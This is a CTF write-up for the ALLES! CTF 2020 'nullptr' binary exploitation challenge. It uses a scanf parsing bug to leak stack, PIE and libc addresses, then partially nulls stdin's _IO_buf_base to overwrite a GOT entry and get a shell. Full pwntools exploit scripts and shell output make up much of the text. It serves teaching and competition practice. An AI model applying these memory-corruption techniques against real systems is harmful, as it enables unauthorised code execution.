ALLES! CTF 2020 Nullptr

Challenge Details

Event Challenge Category Link
ALLES! CTF 2020 nullptr PWN https://ctftime.org/event/1091

Description

Category:Binary Exploitation Difficulty:Medium/Hard Author:Flo First Blood:3k

Solved By: 3k, RPISEC, DiceGang, RedRocket (4 solves)

Welcome to the House Of I’m pretty sure this is not even a heap challenge.

Challenge Files: nullptr.zip

ncat --ssl 7b000000455b22693d06c5a7.challenges.broker5.allesctf.net 1337

We participated in ALLES! CTF 2020 with the3000 team, and we ranked 8th at the end \o/ !

TL;DL

  • Leak stack pointer using logic bug in scanf format string.

  • Leak Libc and PIE addresses through arbitrary read using already given functionality.

  • Use arbitrary null pointer to overwrite **_IO_buf_base ** of stdin structure.

  • Get a shell \o/.

As Detailed in the description of the challenge, the author provided the necessary files to run the binary as intended which include the binary, Dockerfile and source code file.

Reverse Engineering

Static Analysis

We were give the source code of the application which makes it easier for us to analyze it and a 64 bits executable not stripped and dynamically linked as shown below:

$ file nullptr
nullptr: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=dc37e094d9cc17b7b9c50eeba3a7100d412954d3, for GNU/Linux 3.2.0, with debug_info, not stripped

Also we have an idea about the **Libc ** (libc 2.30) used since we have the Dockerfile which includes the ubuntu version used on the remote server.

The given binary has nearly full protection except Partial Relro as shown below:

$ checksec ./nullptr
[*] '/tmp/kek/nullptr'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Source Code analysis

Let’s start with the main function:

int main(void) {
    unsigned long addr;
    int menuchoice;
    while (1) {
        printf("[1. view, 2. null, -1. exit]> \n"); fflush(stdout);
        scanf("%d", &menuchoice); getc(stdin);
        switch (menuchoice) {
        case 1:
            printf("view address> \n"); fflush(stdout);
            scanf("%lu", &addr); getc(stdin);
            printf("%p: %p\n", addr, *(void**)addr);
            break;
        case 2:
            printf("nuke address> \n"); fflush(stdout);
            scanf("%lu", &addr); getc(stdin);
            *(void**)addr = NULL;
            printf("ok!\n");
            break;
        case -1:
            printf("bye!\n");
            return 1;
        default:;
        }
    }
    return 0;
}

the main subroutine introduces 3 choices as following:

  1. View address: Reads a long unsigned number using ‘%lu’ format string of scanf and print out the address of addr variable alongside the content of the pointer supplied by the user which means the content of the pointer contained in addr variable.
  2. Nuke address : Reads a long unsigned number using ‘%lu’ format string of scanf and overwrite the content of given address with null bytes (QWORD).
  3. exit: Print out a message then returns.

Besides the main function, the author was too generous to provide us with a win function which executes a ‘/bin/sh’

void get_me_out_of_this_mess() { execl("/bin/sh", "sh", NULL); }

Exploitation

Leaking Stack address

the binary has a logic bug, which can be abused by giving scanf a non-numeric input.

if the conversion of the input to unsigned long fails, scanf will just free the used pointer and returns without modifying its second argument.

if (flags & NUMBER_SIGNED)
    //Signed Number
      num.l = __strtol_internal(char_buffer_start (&charbuf), &tw, base, flags & GROUP);
else
     //Unsigned Number  (our case)
      num.ul = __strtoul_internal(char_buffer_start (&charbuf), &tw, base, flags & GROUP);
            }
//check if the input was converted successfully else it calls conv_error()
if (__glibc_unlikely (char_buffer_start (&charbuf) == tw))
            conv_error (); //free the pointers and returns.

Trying this theory on the given binary reveals a stack leak.

$ ./nullptr 
[1. view, 2. null, -1. exit]> 
1
view address> 
a
0x7fffe7280ad0: 0x1 #Stack Leak \o/
[1. view, 2. null, -1. exit]> 

It’s time to start implementing the exploit.

  from pwn import *
  p = remote("172.17.0.2",1024)
  p.recvline()
  p.sendline("1")
  p.recvline()
  p.sendline("a")
  data = p.recvline().strip().split(":")[0]
  stack_leak = int(data,16)
  print hex(stack_leak)

Leaking Libc & PIE addresses

Since we have a valid stack address and an arbitrary read, we can find an address on the stack that contains a PIE address and use View address to get its content. from that we can look for a Libc address in the binary.

from pwn import *

p = process("ncat --ssl 7b000000455b22693d06c5a7.challenges.broker5.allesctf.net 1337",shell=True)
p.recvline()

p.sendline("1")
p.recvline()
p.sendline("a")
data = p.recvline().strip().split(":")[0]
stack_leak = int(data,16)
print hex(stack_leak)
p.recvline()
off1 = stack_leak + (0x108-(9*8)) #offset on the stack that contains PIE address.
p.sendline("1")
p.sendline(str(off1))
p.recvline()

pie_leak = int(p.recvline().strip().split(": ")[1],16)
p.recvline()
print hex(pie_leak)

off2 = pie_leak + 0x2f78 #offset in the binary that contains libc address.
bin_base = pie_leak - 0x10a0
win = bin_base + 0x1199
got = bin_base + 0x4000
print hex(bin_base)
p.sendline("1")
p.sendline(str(off2))
p.recvline()
libc_leak = int(p.recvline().strip().split(": ")[1],16)
libc_base = libc_leak - 0x87490
print hex(libc_base)

Getting shell

Since the binary is partial relro, our idea is to overwrite one of the GOT entries with the address of win function. But how can we do that with just a null byte overwrite? Let’s examine the following stdin structure :

gdb-peda$ p stdin
$1 = (FILE *) 0x7ffff7f95980 <_IO_2_1_stdin_>
gdb-peda$ p _IO_2_1_stdin_
$2 = {
  file = {
    _flags = 0xfbad2288,
    _IO_read_ptr = 0x5555555596b0 "",
    _IO_read_end = 0x5555555596b0 "",
    _IO_read_base = 0x5555555596b0 "",
    _IO_write_base = 0x5555555596b0 "",
    _IO_write_ptr = 0x5555555596b0 "",
    _IO_write_end = 0x5555555596b0 "",
    _IO_buf_base = 0x5555555596b0 "",
    _IO_buf_end = 0x555555559ab0 "",
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x0,
    _fileno = 0x0,
    _flags2 = 0x0,
    _old_offset = 0xffffffffffffffff,
    _cur_column = 0x0,
    _vtable_offset = 0x0,
    _shortbuf = "",
    _lock = 0x7ffff7f984d0 <_IO_stdfile_0_lock>,
    _offset = 0xffffffffffffffff,
    _codecvt = 0x0,
    _wide_data = 0x7ffff7f95a60 <_IO_wide_data_0>,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0x0,
    _mode = 0xffffffff,
    _unused2 = '\000' <repeats 19 times>
  },
  vtable = 0x7ffff7f974a0 <_IO_file_jumps>
}
gdb-peda$ 

when a scanf is used, it stores the input in the _IO_read_base which is a heap chunk pointer and then gets updated with _IO_buf_base pointer.

So our idea is to partially null-overwrite the _IO_buf_base in order to point to GOT.plt section so the next scanf call will store our input in that location.

Let’s take a look at the memory mapping of our process:

gdb-peda$ vmmap 
Start              End                Perm	Name
0x0000564c3b44e000 0x0000564c3b44f000 r--p	/tmp/kek/nullptr
0x0000564c3b44f000 0x0000564c3b450000 r-xp	/tmp/kek/nullptr
0x0000564c3b450000 0x0000564c3b451000 r--p	/tmp/kek/nullptr
0x0000564c3b451000 0x0000564c3b452000 r--p	/tmp/kek/nullptr
0x0000564c3b452000 0x0000564c3b453000 rw-p	/tmp/kek/nullptr //GOT.plt 
0x0000564c3befc000 0x0000564c3bf1d000 rw-p	[heap]
0x00007efdc0dd0000 0x00007efdc0df5000 r--p	/lib/x86_64-linux-gnu/libc-2.30.so
0x00007efdc0df5000 0x00007efdc0f3f000 r-xp	/lib/x86_64-linux-gnu/libc-2.30.so
0x00007efdc0f3f000 0x00007efdc0f89000 r--p	/lib/x86_64-linux-gnu/libc-2.30.so
0x00007efdc0f89000 0x00007efdc0f8c000 r--p	/lib/x86_64-linux-gnu/libc-2.30.so
0x00007efdc0f8c000 0x00007efdc0f8f000 rw-p	/lib/x86_64-linux-gnu/libc-2.30.so
0x00007efdc0f8f000 0x00007efdc0f95000 rw-p	mapped
0x00007efdc0fc5000 0x00007efdc0fc6000 r--p	/lib/x86_64-linux-gnu/ld-2.30.so
0x00007efdc0fc6000 0x00007efdc0fe4000 r-xp	/lib/x86_64-linux-gnu/ld-2.30.so
0x00007efdc0fe4000 0x00007efdc0fec000 r--p	/lib/x86_64-linux-gnu/ld-2.30.so
0x00007efdc0fed000 0x00007efdc0fee000 r--p	/lib/x86_64-linux-gnu/ld-2.30.so
0x00007efdc0fee000 0x00007efdc0fef000 rw-p	/lib/x86_64-linux-gnu/ld-2.30.so
0x00007efdc0fef000 0x00007efdc0ff0000 rw-p	mapped
0x00007ffc42b91000 0x00007ffc42bb2000 rw-p	[stack]
0x00007ffc42bef000 0x00007ffc42bf3000 r--p	[vvar]
0x00007ffc42bf3000 0x00007ffc42bf5000 r-xp	[vdso]

We noticed that the GOT & Heap pointers have only 3 different bytes, what if due to ASLR the last 3 bytes of GOT’s address are NULL, it will become 0x0000564c3b000000. In this case, we can partially overwrite the _IO_buf_base’s last 3 bytes with \x00 it will point to binary’s GOT section. Therefore, the next scanf will read our input and store it into the GOT.

Since our target is the base of the GOT section, the last 12 bits will always be zeros. So we have 12 bits affected by the ASLR to bruteforce. Our chance to pull this off is 2^12.

Final Exploit:

from pwn import *

while True:
    p = remote("172.17.0.2",1024)
    p.recvline()

    p.sendline("1")
    p.recvline()
    p.sendline("a")
    data = p.recvline().strip().split(":")[0]
    stack_leak = int(data,16)
    print hex(stack_leak)
    p.recvline()
    off1 = stack_leak + (0x108-(9*8))
    p.sendline("1")
    p.sendline(str(off1))
    p.recvline()
    pie_leak = int(p.recvline().strip().split(": ")[1],16)
    p.recvline()
    print hex(pie_leak)
    off2 = pie_leak + 0x2f78
    bin_base = pie_leak - 0x10a0
    win = bin_base + 0x1199
    got = bin_base + 0x4000
    print hex(bin_base)
    if got & 0xfff000 == 0:
        p.sendline("1")
        p.sendline(str(off2))
        p.recvline()
        libc_leak = int(p.recvline().strip().split(": ")[1],16)
        libc_base = libc_leak - 0x87490
        dl_runtime = libc_base + 0x20da30
        print hex(libc_base)
        buf_base = libc_base + 0x1ea9b3
        p.recv(8000)
        p.sendline("1")
        p.recvline()
        p.sendline(str(got))
        addr1 = int(p.recvline().strip().split(": ")[1],16)
        p.recvline()
        p.sendline("1")
        p.recvline()
        p.sendline(str(got+8))
        addr2 = int(p.recvline().strip().split(": ")[1],16)
        p.recvline()
        p.sendline("2")
        p.sendline(str(buf_base))
        payload = ""
        payload += p64(addr1) 
        payload += p64(addr2)
        payload += p64(dl_runtime)
        payload += p64(win)
        print "Getting shell \o/"
        p.sendline(payload)
        p.interactive()
        p.close()

Our target is puts’ GOT entry which is the fourth entry in the section, addr1,addr2 and dl_runtime are the first, second and third entries, mandatory for the binary to continue execution smoothly.

$  python sploit.py
[..]
[+] Opening connection to 172.17.0.2 on port 1024: Done
0x7ffcdd46ca50
0x560459ffd0a0
0x560459ffc000
0x7f396bf9b000
Getting shell \o/
[*] Switching to interactive mode
nuke address> 
ok!
[1. view, 2. null, -1. exit]> 
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ cat flag
CSCG¬TEST_FLAG}
$  

\o/ !

Aracna & Kerro & Anis_Boss
Aracna & Kerro & Anis_Boss
Cyber Security Enthusiasts

Our research interests include Binary Exploitation, Reverse Engineering and Programming.